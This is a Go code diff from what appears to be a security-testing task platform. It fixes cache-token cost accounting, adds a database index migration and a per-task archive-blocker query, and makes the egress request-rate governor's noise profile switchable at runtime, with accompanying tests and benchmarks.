// TaskListMetrics returns the same aggregates for the one live task of
// exploration expID, with the same laterals as TaskListMetricsAll. A missing or
// deleted task gives zero metrics, as a missing key of TaskListMetricsAll does.
func (d *DB) TaskListMetrics(expID int64) (TaskListMetrics, error) {
_, metrics, err := scanTaskListMetrics(d.QueryRow(taskListMetricsQuery+` AND task.exploration_id=$1`, expID))
if errors.Is(err, sql.ErrNoRows) {
return TaskListMetrics{}, nil
}
return metrics, err
}
// GoalCountsAll returns goal totals (total / met) per exploration id, one query
// for all tasks — used by listTasks so the task list shows progress for every task.
func (d *DB) GoalCountsAll() (map[int64]GoalCounts, error) {
+6 -5
View File
@@ -341,11 +341,12 @@ func applyCostEur(d *DB, out []ProfileUsage) error {
if !ok || (pr.in == 0 && pr.outp == 0 && pr.cr == 0 && pr.cw == 0) {
continue
}
// InputTokens includes the cached subset (Anthropic and OpenAI usage
// semantics), so the fresh share is input minus cache reads; charging
// both buckets at full input price double-counts the cache. Clamped at
// zero for gateways that report the buckets disjointly.
fresh := out[i].InputTokens - out[i].CacheReadTokens
// InputTokens already includes both cached subsets: Norma normalizes it to
// input + cache read + cache write (OpenAI prompt_tokens semantics). The
// fresh share is therefore input minus cache reads minus cache writes;
// charging either subset at full input price as well bills it twice.
// Clamped at zero for gateways that report the buckets disjointly.
fresh := out[i].InputTokens - out[i].CacheReadTokens - out[i].CacheWriteTokens
if fresh < 0 {
fresh = 0
}
+125
View File
@@ -0,0 +1,125 @@
package db
import (
"fmt"
"math"
"testing"
"time"
)
// costProfiles saves a priced profile (EUR per million tokens: input 2.00,
// output 4.00, cache read 0.20, cache write 2.50) and an unpriced one.
func costProfiles(t *testing.T, d *DB) (priced, unpriced string) {
t.Helper()
suffix := time.Now().UnixNano()
priced, unpriced = fmt.Sprintf("t-cost-priced-%d", suffix), fmt.Sprintf("t-cost-unpriced-%d", suffix)
for _, p := range []*LLMProfile{
{Name: priced, Format: "anthropic", Model: "m", APIKey: "k",
PriceInputPerM: 2, PriceOutputPerM: 4, PriceCacheReadPerM: 0.2, PriceCacheWritePerM: 2.5},
{Name: unpriced, Format: "anthropic", Model: "m", APIKey: "k"},
} {
id, err := d.SaveProfile(p)
if err != nil {
t.Fatal(err)
}
t.Cleanup(func() { d.Exec(`DELETE FROM llm_profiles WHERE id=$1`, id) })
}
return priced, unpriced
}
func assertCost(t *testing.T, got *float64, want float64) {
t.Helper()
if got == nil {
t.Fatalf("cost=nil, want %.2f", want)
}
if math.Abs(*got-want) > 1e-9 {
t.Fatalf("cost=%.4f, want %.2f", *got, want)
}
}
// InputTokens already includes the cache read and cache write subsets, so only
// the remainder is billed at the input price.
func TestCostSeparatesFreshReadAndWriteBuckets(t *testing.T) {
d, err := Open(testDSN(t))
if err != nil {
t.Fatal(err)
}
defer d.Close()
priced, unpriced := costProfiles(t, d)
// Every case adds 100k output tokens: 0.1 × 4.00 = 0.40.
for _, tc := range []struct {
name string
in, read, write int
want float64
}{
{"fresh", 1_000_000, 0, 0, 2.40}, // 1M×2.00 + 0.40
{"read_only", 1_000_000, 1_000_000, 0, 0.60}, // 0 fresh + 1M×0.20 + 0.40
{"write_only", 1_000_000, 0, 1_000_000, 2.90}, // 0 fresh + 1M×2.50 + 0.40
{"mixed", 1_000_000, 200_000, 300_000, 2.19}, // 500k×2.00 + 200k×0.20 + 300k×2.50 + 0.40
{"inconsistent_gateway", 100_000, 200_000, 300_000, 1.19}, // fresh clamped to 0 + 0.04 + 0.75 + 0.40
} {
t.Run(tc.name, func(t *testing.T) {
out := []ProfileUsage{
{ProfileName: priced, InputTokens: tc.in, CacheReadTokens: tc.read, CacheWriteTokens: tc.write, OutputTokens: 100_000},
{ProfileName: unpriced, InputTokens: tc.in, CacheReadTokens: tc.read, CacheWriteTokens: tc.write, OutputTokens: 100_000},
{ProfileName: "t-cost-unknown-profile", InputTokens: tc.in, OutputTokens: 100_000},
}
if err := applyCostEur(d, out); err != nil {
t.Fatal(err)
}
assertCost(t, out[0].CostEur, tc.want)
if out[1].CostEur != nil || out[2].CostEur != nil {
t.Fatalf("unpriced usage got a cost: %v %v", out[1].CostEur, out[2].CostEur)
}
})
}
}
// Several ledger rows of one profile are summed before pricing; with no clamp
// involved the profile cost equals the sum of the per-row costs.
func TestUsageByProfileCostAggregatesRows(t *testing.T) {
d, err := Open(testDSN(t))
if err != nil {
t.Fatal(err)
}
defer d.Close()
priced, unpriced := costProfiles(t, d)
t.Cleanup(func() { d.Exec(`DELETE FROM llm_usage WHERE profile_name IN ($1,$2)`, priced, unpriced) })
rows := []LLMUsage{
// fresh 400k×2.00 + 200k×0.20 + 40k×4.00 = 0.80 + 0.04 + 0.16 = 1.00
{InputTokens: 600_000, CacheRead: 200_000, OutputTokens: 40_000},
// fresh 100k×2.00 + 300k×2.50 + 60k×4.00 = 0.20 + 0.75 + 0.24 = 1.19
{InputTokens: 400_000, CacheWrite: 300_000, OutputTokens: 60_000},
}
for _, profile := range []string{priced, unpriced} {
for _, r := range rows {
r.ProfileName, r.Model, r.Status = profile, "m", "ok"
if err := d.InsertLLMUsage(&r); err != nil {
t.Fatal(err)
}
}
}
usage, err := d.UsageByProfile()
if err != nil {
t.Fatal(err)
}
found := 0
for _, p := range usage {
switch p.ProfileName {
case priced:
found++
if p.Calls != 2 || p.InputTokens != 1_000_000 || p.CacheReadTokens != 200_000 || p.CacheWriteTokens != 300_000 || p.OutputTokens != 100_000 {
t.Fatalf("aggregate %+v", p)
}
assertCost(t, p.CostEur, 2.19) // = 1.00 + 1.19, the mixed case
case unpriced:
found++
if p.Calls != 2 || p.CostEur != nil {
t.Fatalf("unpriced aggregate %+v", p)
}
}
}
if found != 2 {
t.Fatalf("profiles missing from UsageByProfile: found %d of 2", found)
}
}
+38
View File
@@ -0,0 +1,38 @@
package db
import (
"database/sql"
"errors"
"strings"
"testing"
)
// Migration 0004 leaves a valid, ready btree index on llm_usage(ts) for the
// time-window queries (UsageDaily, JudgeUsageStats).
func TestLLMUsageTsIndex(t *testing.T) {
d, err := Open(testDSN(t))
if err != nil {
t.Skipf("postgres unavailable (%v) — skipping", err)
}
t.Cleanup(func() { d.Close() })
var valid, ready bool
var def string
err = d.QueryRow(`
SELECT i.indisvalid, i.indisready, pg_get_indexdef(i.indexrelid)
FROM pg_index i JOIN pg_class c ON c.oid = i.indexrelid
JOIN pg_namespace n ON n.oid = c.relnamespace
WHERE n.nspname='public' AND c.relname='idx_llm_usage_ts'`).Scan(&valid, &ready, &def)
if errors.Is(err, sql.ErrNoRows) {
t.Fatal("index public.idx_llm_usage_ts does not exist after Open")
}
if err != nil {
t.Fatal(err)
}
if !valid || !ready {
t.Fatalf("idx_llm_usage_ts indisvalid=%v indisready=%v, want both true (%s)", valid, ready, def)
}
if !strings.Contains(def, "USING btree (ts)") {
t.Fatalf("idx_llm_usage_ts definition %q does not index ts with a btree", def)
}
}
+2 -2
View File
@@ -136,9 +136,9 @@ func assertEmbeddedApplied(t *testing.T, d *DB) []appliedMigration {
want := []struct {
version int
name string
}{{1, llmRecordsMigration}, {2, llmUsageMigration}, {3, "0003_task_scope_icp_index.sql"}}
}{{1, llmRecordsMigration}, {2, llmUsageMigration}, {3, "0003_task_scope_icp_index.sql"}, {4, "0004_llm_usage_ts_index.sql"}}
if len(applied) != len(want) {
t.Fatalf("schema_migrations = %+v, want versions 1 to 3", applied)
t.Fatalf("schema_migrations = %+v, want versions 1 to 4", applied)
}
for i, w := range want {
content, err := fs.ReadFile(migrationsFS(), w.name)
+15
View File
@@ -0,0 +1,15 @@
-- UsageDaily and JudgeUsageStats (db/llm_usage.go) filter llm_usage on
-- ts >= now() - interval; the dashboard polls UsageDaily every 15 seconds.
-- llm_usage is an append-only ledger that gains a row per LLM call and is never
-- purged, so without an index on ts those queries scan the whole table.
--
-- This is a plain (non-concurrent) CREATE INDEX: migrations run in a
-- transaction, where CONCURRENTLY is not allowed. It is safe here because
-- db.Open applies migrations at startup, before the HTTP server listens, so the
-- SHARE lock it takes blocks no agent call or request in flight.
--
-- For an exceptionally large ledger, build the same index online before the
-- upgrade, outside a transaction:
-- CREATE INDEX CONCURRENTLY IF NOT EXISTS idx_llm_usage_ts ON llm_usage(ts);
-- This migration then finds it and does nothing.
CREATE INDEX IF NOT EXISTS idx_llm_usage_ts ON llm_usage(ts);
+22 -5
View File
@@ -79,15 +79,20 @@ type TaskArchive struct {
UpdatedAt time.Time `json:"updated_at"`
}
// archiveBlockerScope selects the live direct dependents that block archiving
// their source task. TaskArchiveBlockers and TaskArchiveBlocker share it so the
// list and the detail view cannot disagree.
const archiveBlockerScope = `
FROM task_relations relation
JOIN tasks child ON child.id=relation.task_id AND child.deleted_at IS NULL
LEFT JOIN task_archives pending ON pending.task_id=child.id
WHERE (pending.id IS NULL OR pending.state NOT IN ('archive_queued','archiving'))`
// TaskArchiveBlockers returns one live direct dependent for every source task
// that cannot currently be archived. Dependents already queued for archiving do
// not block their source because the FIFO worker will compact them first.
func (d *DB) TaskArchiveBlockers() (map[int64]int64, error) {
rows, err := d.Query(`SELECT relation.source_task_id, MIN(child.id)
FROM task_relations relation
JOIN tasks child ON child.id=relation.task_id AND child.deleted_at IS NULL
LEFT JOIN task_archives pending ON pending.task_id=child.id
WHERE pending.id IS NULL OR pending.state NOT IN ('archive_queued','archiving')
rows, err := d.Query(`SELECT relation.source_task_id, MIN(child.id)` + archiveBlockerScope + `
GROUP BY relation.source_task_id`)
if err != nil {
return nil, err
@@ -104,6 +109,18 @@ GROUP BY relation.source_task_id`)
return blockers, rows.Err()
}
// TaskArchiveBlocker returns the live direct dependent that blocks taskID, or
// 0 when nothing blocks it. Same rules as TaskArchiveBlockers, scoped to one
// source task so getTask does not aggregate the whole relation table per poll.
func (d *DB) TaskArchiveBlocker(taskID int64) (int64, error) {
var dependent sql.NullInt64
if err := d.QueryRow(`SELECT MIN(child.id)`+archiveBlockerScope+`
AND relation.source_task_id=$1`, taskID).Scan(&dependent); err != nil {
return 0, err
}
return dependent.Int64, nil
}
type TaskArchivePage struct {
Items []TaskArchive `json:"items"`
Total int `json:"total"`
+20
View File
@@ -362,6 +362,7 @@ func TestTaskArchiveBlockersIgnoreQueuedDependents(t *testing.T) {
if blockers[source.ID] != dependent.ID {
t.Fatalf("source blocker=%d, want dependent %d", blockers[source.ID], dependent.ID)
}
assertPerTaskBlockers(t, d, blockers, map[int64]int64{source.ID: dependent.ID, dependent.ID: 0})
if err := d.SetPaused(dependent.ID, true); err != nil {
t.Fatal(err)
}
@@ -375,6 +376,25 @@ func TestTaskArchiveBlockersIgnoreQueuedDependents(t *testing.T) {
if blocker := blockers[source.ID]; blocker != 0 {
t.Fatalf("queued dependent must not block source, got %d", blocker)
}
assertPerTaskBlockers(t, d, blockers, map[int64]int64{source.ID: 0, dependent.ID: 0})
}
// assertPerTaskBlockers checks TaskArchiveBlocker against the expected blocker
// of each task and against the global TaskArchiveBlockers map.
func assertPerTaskBlockers(t *testing.T, d *DB, global map[int64]int64, want map[int64]int64) {
t.Helper()
for taskID, wantBlocker := range want {
got, err := d.TaskArchiveBlocker(taskID)
if err != nil {
t.Fatal(err)
}
if got != wantBlocker {
t.Fatalf("TaskArchiveBlocker(%d)=%d, want %d", taskID, got, wantBlocker)
}
if got != global[taskID] {
t.Fatalf("TaskArchiveBlocker(%d)=%d, TaskArchiveBlockers()[%d]=%d", taskID, got, taskID, global[taskID])
}
}
}
func TestRecoverInterruptedArchiveRequiresManualRetry(t *testing.T) {
+130
View File
@@ -117,3 +117,133 @@ VALUES ($1,'goal','{}','met'), ($1,'goal','{}','open')`, task.ExplorationID); er
t.Fatalf("unexpected goal metrics: %+v", metrics.Goals)
}
}
// TaskListMetrics(expID) is exactly the row TaskListMetricsAll returns for that
// exploration, on every counter, and TaskListMetricsAll still lists every task.
func TestTaskListMetricsMatchesAll(t *testing.T) {
d, err := Open(testDSN(t))
if err != nil {
t.Skipf("postgres unavailable (%v) - skipping", err)
}
t.Cleanup(func() { d.Close() })
newest := time.Now().Add(-time.Minute).Truncate(time.Second)
seed := func(name string, n int) *Task {
t.Helper()
task, err := d.CreateTask(name, "goal", nil, 0, 0)
if err != nil {
t.Fatal(err)
}
t.Cleanup(func() {
_, err := d.DeleteTaskCascade(task.ID, false, true)
cleanupErr(t, "task "+name, err)
})
exp := task.ExplorationID
// n result rows with tokens; the newest activity first, then an older row
// with a higher id, so ordering by id instead of created_at would fail.
for _, q := range []struct {
sql string
args []any
}{
{`INSERT INTO activity(exploration_id,kind,input_tokens,output_tokens,cache_read_tokens,cache_write_tokens,created_at)
SELECT $1,'result',10,5,3,1,$3::timestamptz - interval '1 hour' FROM generate_series(1,$2::int)`, []any{exp, n, newest}},
{`INSERT INTO activity(exploration_id,kind,created_at) VALUES ($1,'text',$2::timestamptz)`, []any{exp, newest}},
{`INSERT INTO activity(exploration_id,kind,created_at) SELECT $1,'text',$3::timestamptz - interval '2 hours' FROM generate_series(1,$2::int)`, []any{exp, n, newest}},
{`INSERT INTO exploration_nodes(exploration_id,kind,payload,state)
SELECT $1,'goal','{}',CASE WHEN g<=$2::int THEN 'met' ELSE 'open' END FROM generate_series(1,$2::int+1) g`, []any{exp, n}},
{`INSERT INTO exploration_nodes(exploration_id,kind,payload,state)
SELECT $1,'intent','{}',CASE WHEN g<=$2::int THEN 'running' ELSE 'done' END FROM generate_series(1,$2::int+2) g`, []any{exp, n}},
} {
if _, err := d.Exec(q.sql, q.args...); err != nil {
t.Fatal(err)
}
}
if _, err := d.Exec(`INSERT INTO findings(task_id,severity)
SELECT $1, s FROM unnest(ARRAY['critical','high','high','medium','low','info']) s, generate_series(1,$2)`, task.ID, n); err != nil {
t.Fatal(err)
}
return task
}
a := seed("task-list-metrics-a", 2)
b := seed("task-list-metrics-b", 3)
all, err := d.TaskListMetricsAll()
if err != nil {
t.Fatal(err)
}
for _, c := range []struct {
task *Task
n int
}{{a, 2}, {b, 3}} {
row, ok := all[c.task.ExplorationID]
if !ok {
t.Fatalf("TaskListMetricsAll misses task %d", c.task.ID)
}
one, err := d.TaskListMetrics(c.task.ExplorationID)
if err != nil {
t.Fatal(err)
}
if one != row {
t.Fatalf("task %d: TaskListMetrics=%+v, TaskListMetricsAll=%+v", c.task.ID, one, row)
}
n := c.n
want := TaskListMetrics{
Tokens: TokenUsage{InputTokens: 10 * n, OutputTokens: 5 * n, CacheReadTokens: 3 * n, CacheWriteTokens: n},
LastActivity: newest.Unix(),
Goals: GoalCounts{Total: n + 1, Met: n},
RunningIntents: n,
Findings: FindingSeverityCounts{Critical: n, High: 2 * n, Medium: n, Low: n},
}
if one != want {
t.Fatalf("task %d metrics=%+v, want %+v", c.task.ID, one, want)
}
}
if none, err := d.TaskListMetrics(-1); err != nil || none != (TaskListMetrics{}) {
t.Fatalf("missing exploration: %+v, %v; want zero metrics", none, err)
}
}
// BenchmarkTaskListMetrics compares the per-exploration metrics query with the
// all-tasks one on three tasks of 40,000 activity rows each. No time assertion.
func BenchmarkTaskListMetrics(b *testing.B) {
dsn, _, err := DSN()
if err != nil {
b.Skipf("no database config (%v) - skipping", err)
}
d, err := Open(dsn)
if err != nil {
b.Skipf("postgres unavailable (%v) - skipping", err)
}
b.Cleanup(func() { d.Close() })
var exp int64
for i := range 3 {
task, err := d.CreateTask(fmt.Sprintf("bench-task-list-metrics-%d", i), "goal", nil, 0, 0)
if err != nil {
b.Fatal(err)
}
b.Cleanup(func() { _, _ = d.DeleteTaskCascade(task.ID, false, true) })
if _, err := d.Exec(`INSERT INTO activity(exploration_id,kind,input_tokens,created_at)
SELECT $1, CASE WHEN g%20=0 THEN 'result' ELSE 'tool_use' END, 100, now() - (g||' seconds')::interval
FROM generate_series(1,40000) g`, task.ExplorationID); err != nil {
b.Fatal(err)
}
exp = task.ExplorationID
}
if _, err := d.Exec(`ANALYZE activity`); err != nil {
b.Fatal(err)
}
b.Run("one", func(b *testing.B) {
for range b.N {
if _, err := d.TaskListMetrics(exp); err != nil {
b.Fatal(err)
}
}
})
b.Run("all", func(b *testing.B) {
for range b.N {
if _, err := d.TaskListMetricsAll(); err != nil {
b.Fatal(err)
}
}
})
}
+8 -8
View File
@@ -6,14 +6,14 @@ import "testing"
// ip/cidr scope path so a target like "10.0.188.136:3000" no longer 404s.
func TestStripHostPort(t *testing.T) {
cases := []struct{ in, want string }{
{"10.0.188.136:3000", "10.0.188.136"}, // the reported IP case
{"10.0.188.136", "10.0.188.136"}, // bare IPv4 unchanged
{"[2001:db8::1]:8080", "2001:db8::1"}, // bracketed IPv6 + port
{"2001:db8::1", "2001:db8::1"}, // bare IPv6 unchanged (has colons)
{" 1.2.3.4:80 ", "1.2.3.4"}, // trims surrounding space
{"example.com:443", "example.com"}, // domain + port → bare host
{"api.example.com:8080", "api.example.com"}, // subdomain + port
{"example.com", "example.com"}, // bare domain unchanged
{"10.0.188.136:3000", "10.0.188.136"}, // the reported IP case
{"10.0.188.136", "10.0.188.136"}, // bare IPv4 unchanged
{"[2001:db8::1]:8080", "2001:db8::1"}, // bracketed IPv6 + port
{"2001:db8::1", "2001:db8::1"}, // bare IPv6 unchanged (has colons)
{" 1.2.3.4:80 ", "1.2.3.4"}, // trims surrounding space
{"example.com:443", "example.com"}, // domain + port → bare host
{"api.example.com:8080", "api.example.com"}, // subdomain + port
{"example.com", "example.com"}, // bare domain unchanged
}
for _, c := range cases {
if got := stripHostPort(c.in); got != c.want {
+11 -11
View File
@@ -28,19 +28,19 @@ type Task struct {
LLMProfileID *int64 `json:"llm_profile_id,omitempty"`
// Task-level ordered LLM chain. LLMProfileID remains the compatibility alias
// for ActiveLLMProfileID while older API clients still send one profile id.
LLMProfileIDs []int64 `json:"llm_profile_ids,omitempty"`
ActiveLLMProfileID *int64 `json:"active_llm_profile_id,omitempty"`
LLMChainRevision int64 `json:"-"`
LLMFailoverState string `json:"llm_failover_state,omitempty"`
LLMFailoverReason string `json:"llm_failover_reason,omitempty"`
LLMProfileIDs []int64 `json:"llm_profile_ids,omitempty"`
ActiveLLMProfileID *int64 `json:"active_llm_profile_id,omitempty"`
LLMChainRevision int64 `json:"-"`
LLMFailoverState string `json:"llm_failover_state,omitempty"`
LLMFailoverReason string `json:"llm_failover_reason,omitempty"`
// LLMRotate: per-intent chain-head rotation switch (#85); false = classic
// ordered failover from the active head.
LLMRotate bool `json:"llm_rotate"`
SourceTaskIDs []int64 `json:"source_task_ids,omitempty"`
CompanyIDs []int64 `json:"company_ids,omitempty"`
ParentRef string `json:"parent_ref,omitempty"` // parent task id (recorded by orchestration spawn; empty=top level)
CreatedAt time.Time `json:"created_at"`
CompletedAt *time.Time `json:"completed_at,omitempty"` // when it entered a terminal state (done/failed/timeout); nil for non-terminal
LLMRotate bool `json:"llm_rotate"`
SourceTaskIDs []int64 `json:"source_task_ids,omitempty"`
CompanyIDs []int64 `json:"company_ids,omitempty"`
ParentRef string `json:"parent_ref,omitempty"` // parent task id (recorded by orchestration spawn; empty=top level)
CreatedAt time.Time `json:"created_at"`
CompletedAt *time.Time `json:"completed_at,omitempty"` // when it entered a terminal state (done/failed/timeout); nil for non-terminal
// Task-level timeout (see the task-level timeout and wrap-up design doc).
TimeoutSeconds int `json:"timeout_seconds"` // 0=no time limit
FirstRunAt *time.Time `json:"first_run_at,omitempty"` // when it first actually started running (not created_at); nil=not yet run
+179
View File
@@ -0,0 +1,179 @@
package egress
import (
"net/http"
"net/http/httptest"
"net/url"
"runtime"
"sync"
"testing"
)
// keepProfile restores the process profile after a test that changes it.
func keepProfile(t *testing.T) {
prev := CurrentProfile()
t.Cleanup(func() { SetProfile(prev) })
}
func TestSetProfileConcurrentAndConsistent(t *testing.T) {
keepProfile(t)
names := []string{"off", "quiet", "balanced", "aggressive"}
var wg sync.WaitGroup
for i := range 8 {
wg.Add(1)
go func() {
defer wg.Done()
for j := range 200 {
p, _ := ProfileByName(names[(i+j)%len(names)])
SetProfile(p)
if g := Current(); g == nil || g.Profile().Name == "" {
t.Errorf("Current() = %v during swaps", g)
return
}
_ = CurrentProfile()
}
}()
}
wg.Wait()
for _, name := range names {
p, _ := ProfileByName(name)
g := SetProfile(p)
if Current() != g || CurrentProfile().Name != name || Current().Profile() != CurrentProfile() {
t.Fatalf("after SetProfile(%s): Current=%p want %p, CurrentProfile=%q", name, Current(), g, CurrentProfile().Name)
}
}
}
// A request in flight keeps the governor it started on: its release frees the
// old governor's slots, and the new governor starts with no counter.
func TestSetProfileInFlightFinishesOnOldGovernor(t *testing.T) {
keepProfile(t)
old := SetProfile(open)
release, err := old.acquire(t.Context(), "a.example")
if err != nil {
t.Fatal(err)
}
fresh := SetProfile(Profiles["balanced"])
if Current() != fresh || len(fresh.Snapshot()) != 0 {
t.Fatalf("new governor: current=%p fresh=%p snapshot=%v", Current(), fresh, fresh.Snapshot())
}
if s := old.Snapshot(); len(s) != 1 || s[0].Inflight != 1 {
t.Fatalf("old governor before release: %+v", s)
}
release()
if s := old.Snapshot(); len(s) != 1 || s[0].Inflight != 0 || s[0].RPM != 1 || s[0].PeakInflight != 1 {
t.Fatalf("old governor after release: %+v", s)
}
}
type recordRT struct{ got *http.Request }
func (r *recordRT) RoundTrip(req *http.Request) (*http.Response, error) {
r.got = req
return &http.Response{StatusCode: 204, Body: http.NoBody, Request: req}, nil
}
// Off stays a strict passthrough, through Transport and Dynamic alike.
func TestOffIsPassthroughAfterSetProfile(t *testing.T) {
keepProfile(t)
t.Setenv("ARTEX_TARGET_USER_AGENT", "artex-test/1")
off, ok := ProfileByName("OFF")
if !ok || off.Name != "off" || off.UserAgent != "" {
t.Fatalf("ProfileByName(OFF) = %+v %v", off, ok)
}
SetProfile(off)
base := &recordRT{}
if tr := Current().Transport("x", base); tr != http.RoundTripper(base) {
t.Fatalf("off Transport = %T, want the base itself", tr)
}
req := httptest.NewRequest(http.MethodGet, "http://a.example/", nil)
if _, err := Dynamic("x", base).RoundTrip(req); err != nil || base.got != req || req.Header.Get("User-Agent") != "" {
t.Fatalf("off Dynamic: err=%v same request=%v UA=%q", err, base.got == req, req.Header.Get("User-Agent"))
}
if len(Current().Snapshot()) != 0 {
t.Fatalf("off counted a request: %v", Current().Snapshot())
}
// Any other profile carries the user agent.
if p, _ := ProfileByName("balanced"); p.UserAgent != "artex-test/1" {
t.Fatalf("balanced UserAgent = %q", p.UserAgent)
}
if _, ok := ProfileByName(""); ok {
t.Fatal(`ProfileByName("") accepted`)
}
if _, ok := ProfileByName("loud"); ok {
t.Fatal(`ProfileByName("loud") accepted`)
}
}
// Dynamic resolves the governor per request: a client built before
// SetProfile is paced by the new profile.
func TestDynamicFollowsSetProfile(t *testing.T) {
keepProfile(t)
srv := newServer(t, 0, nil)
SetProfile(Profile{Name: "off"})
client := &http.Client{Transport: Dynamic("ns", nil)}
get := func() {
t.Helper()
resp, err := client.Get(srv.URL)
if err != nil {
t.Fatal(err)
}
resp.Body.Close()
}
get()
g := SetProfile(open)
get()
get()
if s := g.Snapshot(); len(s) != 1 || s[0].RPM != 2 {
t.Fatalf("snapshot after switch: %+v", s)
}
}
// Snapshot reads the counters without starting a new minute; report does.
func TestSnapshotDoesNotReset(t *testing.T) {
g := New(open)
srv := newServer(t, 0, nil)
tr := g.Transport("ns", nil)
for range 3 {
req, _ := http.NewRequest(http.MethodGet, srv.URL, nil)
resp, err := tr.RoundTrip(req)
if err != nil {
t.Fatal(err)
}
resp.Body.Close()
}
want := HostNoise{Host: HostKey(srvURL(t, srv.URL)), RPM: 3, PeakRPM: 3, PeakInflight: 1}
for range 2 {
if s := g.Snapshot(); len(s) != 1 || s[0] != want {
t.Fatalf("snapshot = %+v, want [%+v]", s, want)
}
}
g.report()
if s := g.Snapshot(); len(s) != 1 || s[0].RPM != 0 || s[0].PeakRPM != 3 {
t.Fatalf("snapshot after report = %+v, want rpm 0 and peak 3", s)
}
}
// SetProfile never starts a goroutine of its own: one ticker serves every
// governor.
func TestSetProfileStartsNoGoroutine(t *testing.T) {
keepProfile(t)
SetProfile(Profiles["quiet"]) // the reporter is running from here on
before := runtime.NumGoroutine()
for range 50 {
SetProfile(Profiles["balanced"])
SetProfile(Profile{Name: "off"})
}
if after := runtime.NumGoroutine(); after > before {
t.Fatalf("goroutines %d -> %d after 100 SetProfile calls", before, after)
}
}
func srvURL(t *testing.T, raw string) *url.URL {
t.Helper()
u, err := url.Parse(raw)
if err != nil {
t.Fatal(err)
}
return u
}
+124 -22
View File
@@ -1,6 +1,7 @@
// Package egress is the governor the platform-owned HTTP requests to a target
// pass through (WebFetch, the http custom tools, the enrich probe). A noise
// profile (ARTEX_NOISE_PROFILE) sets every lever: a token bucket, a jitter and a
// profile (the noise_profile setting, else ARTEX_NOISE_PROFILE; SetProfile
// changes it at runtime) sets every lever: a token bucket, a jitter and a
// concurrency cap per host, a global concurrency cap, backoff on 429/503, and,
// for the GET requests of one task, coalescing and a short cache. The default
// profile, off, is a strict passthrough: requests and timing are unchanged.
@@ -22,6 +23,7 @@ import (
"strconv"
"strings"
"sync"
"sync/atomic"
"time"
"unicode"
@@ -54,42 +56,91 @@ var Profiles = map[string]Profile{
"aggressive": {Name: "aggressive", RPS: 20, Burst: 40, MaxPerHost: 4, MaxGlobal: 32, Jitter: 0.1, CacheTTL: 10 * time.Second, MaxRetries: 2, BaseDelay: 500 * time.Millisecond, MaxDelay: 10 * time.Second},
}
// ProfileFromEnv returns the profile ARTEX_NOISE_PROFILE names; unset, "off" or
// unknown is off.
func ProfileFromEnv() Profile {
name := strings.ToLower(strings.TrimSpace(os.Getenv("ARTEX_NOISE_PROFILE")))
p, ok := Profiles[name]
if !ok {
if name != "" && name != "off" {
log.Printf("[egress] ARTEX_NOISE_PROFILE=%q is not off, quiet, balanced or aggressive; using off", name)
}
return Profile{Name: "off"}
// ProfileByName returns the profile name names (off, quiet, balanced or
// aggressive, any case); ok is false for any other name, "" included. A profile
// other than off carries ARTEX_TARGET_USER_AGENT; off stays a strict passthrough.
func ProfileByName(name string) (p Profile, ok bool) {
name = strings.ToLower(strings.TrimSpace(name))
if name == "off" {
return Profile{Name: "off"}, true
}
if p, ok = Profiles[name]; !ok {
return Profile{Name: "off"}, false
}
if ua := strings.TrimSpace(os.Getenv("ARTEX_TARGET_USER_AGENT")); strings.ContainsFunc(ua, unicode.IsControl) {
log.Printf("[egress] ARTEX_TARGET_USER_AGENT contains a control character; ignored")
} else {
p.UserAgent = ua
}
return p, true
}
// ProfileFromEnv returns the profile ARTEX_NOISE_PROFILE names; unset, "off" or
// unknown is off.
func ProfileFromEnv() Profile {
name := strings.TrimSpace(os.Getenv("ARTEX_NOISE_PROFILE"))
p, ok := ProfileByName(name)
if !ok && name != "" {
log.Printf("[egress] ARTEX_NOISE_PROFILE=%q is not off, quiet, balanced or aggressive; using off", name)
}
return p
}
// Shared is the one governor of the process, built from the environment on
// first use; WebFetch, the http custom tools and the enrich probe all use it.
// Under a profile it logs the noise counter of each host once a minute.
var Shared = sync.OnceValue(func() *Governor {
g := New(ProfileFromEnv())
// current is the governor new requests use. SetProfile replaces it; a request
// already in flight keeps the governor it started on, so its slots are
// released where they were taken.
var (
current atomic.Pointer[Governor]
initCurrent sync.Once
reporterOnce sync.Once
)
// Current returns the governor of the process: the one SetProfile published
// last, or, before any SetProfile, one built from the environment on first use.
// WebFetch, the http custom tools and the enrich probe resolve it per request.
func Current() *Governor {
if g := current.Load(); g != nil {
return g
}
initCurrent.Do(func() {
g := New(ProfileFromEnv())
if current.CompareAndSwap(nil, g) {
log.Printf("[egress] noise profile: %s", g.p.Name)
}
startReporter()
})
return current.Load()
}
// CurrentProfile is the profile of Current.
func CurrentProfile() Profile { return Current().p }
// SetProfile builds a governor for p and publishes it: new requests use it,
// requests in flight finish on the previous one. The counters start afresh.
func SetProfile(p Profile) *Governor {
g := New(p)
current.Store(g)
log.Printf("[egress] noise profile: %s", g.p.Name)
if !g.off() {
startReporter()
return g
}
// startReporter starts the one package-level ticker that logs, once a minute,
// the noise counter of each host of the current governor. SetProfile never
// starts another.
func startReporter() {
reporterOnce.Do(func() {
go func() {
for range time.Tick(time.Minute) {
for _, l := range g.report() {
t := time.NewTicker(time.Minute)
defer t.Stop()
for range t.C {
for _, l := range Current().report() {
log.Print(l)
}
}
}()
}
return g
})
})
}
// Governor holds the per-host state and the per-task response cache.
type Governor struct {
@@ -123,6 +174,9 @@ func New(p Profile) *Governor {
func (g *Governor) off() bool { return g.p.RPS <= 0 }
// Profile is the profile g was built for.
func (g *Governor) Profile() Profile { return g.p }
// HostKey is the lowercased host, with the port when it is not the default.
func HostKey(u *url.URL) string {
h, p := strings.ToLower(u.Hostname()), u.Port()
@@ -240,6 +294,35 @@ func (g *Governor) report() []string {
return out
}
// HostNoise is the noise counter of one host: the current minute (RPM,
// DuplicatesAvoided, PeakInflight), the peak per minute so far, and the
// requests in flight now.
type HostNoise struct {
Host string `json:"host"`
RPM int `json:"rpm"`
PeakRPM int `json:"peak_rpm"`
PeakInflight int `json:"peak_inflight"`
Inflight int `json:"inflight"`
DuplicatesAvoided int `json:"duplicates_avoided"`
}
// Snapshot returns the counter of every host that has sent or deduplicated a
// request, sorted by host. Unlike report it starts no new minute.
func (g *Governor) Snapshot() []HostNoise {
g.mu.Lock()
defer g.mu.Unlock()
out := []HostNoise{}
for key, h := range g.hosts {
if h.sent == 0 && h.dupes == 0 && h.inflight == 0 && h.peakRPM == 0 {
continue
}
out = append(out, HostNoise{Host: key, RPM: h.sent, PeakRPM: max(h.peakRPM, h.sent),
PeakInflight: h.peakInflight, Inflight: h.inflight, DuplicatesAvoided: h.dupes})
}
sort.Slice(out, func(i, j int) bool { return out[i].Host < out[j].Host })
return out
}
var errNotShared = errors.New("egress: response not shared")
